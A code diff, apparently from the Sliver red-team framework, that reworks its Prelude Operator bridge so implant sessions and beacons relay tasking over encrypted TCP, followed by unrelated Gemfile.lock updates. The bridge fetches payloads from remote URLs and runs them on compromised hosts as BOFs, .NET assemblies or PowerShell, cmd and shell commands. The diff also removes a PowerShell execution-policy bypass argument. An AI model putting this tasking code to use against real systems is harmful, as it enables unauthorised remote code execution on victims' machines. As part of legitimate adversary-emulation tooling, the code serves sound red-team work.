con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
if !overflow || con.Settings.AlwaysOverflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
width, height, err := term.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+14 -4
View File
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
-166
View File
@@ -1,166 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+37 -12
View File
@@ -1,5 +1,23 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -9,7 +27,6 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -25,9 +42,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
return
}
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch session.Arch {
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: session.OS,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
return nil
}
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return false
+206
View File
@@ -0,0 +1,206 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+53 -14
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession)
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(implantBridge.Implant),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
args = []string{"/S", "/C"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *AgentSession) (string, int, int) {
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
BuildBeacon() OperatorBeacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type Beacon struct {
type OperatorBeacon struct {
Name string
Target string
Hostname string
+68
View File
@@ -0,0 +1,68 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+58 -42
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -31,7 +30,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SessionMapper *PreludeSessionMapper
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
@@ -42,30 +41,45 @@ type OperatorConfig struct {
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
Request: MakeRequest(a),
})
if err != nil {
return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
go agentSession.ReceiveLoop()
go bridge.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
return p.conf
}
+6 -8
View File
@@ -21,25 +21,23 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+89 -83
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4)
activesupport (6.0.4.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.7)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.2)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
http_parser.rb (~> 0)
ethon (0.15.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.5.0)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
multipart-post (>= 1.2, < 3)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.1.0)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
ffi (1.15.3)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (215)
github-pages-health-check (= 1.17.2)
github-pages (225)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.7.1)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
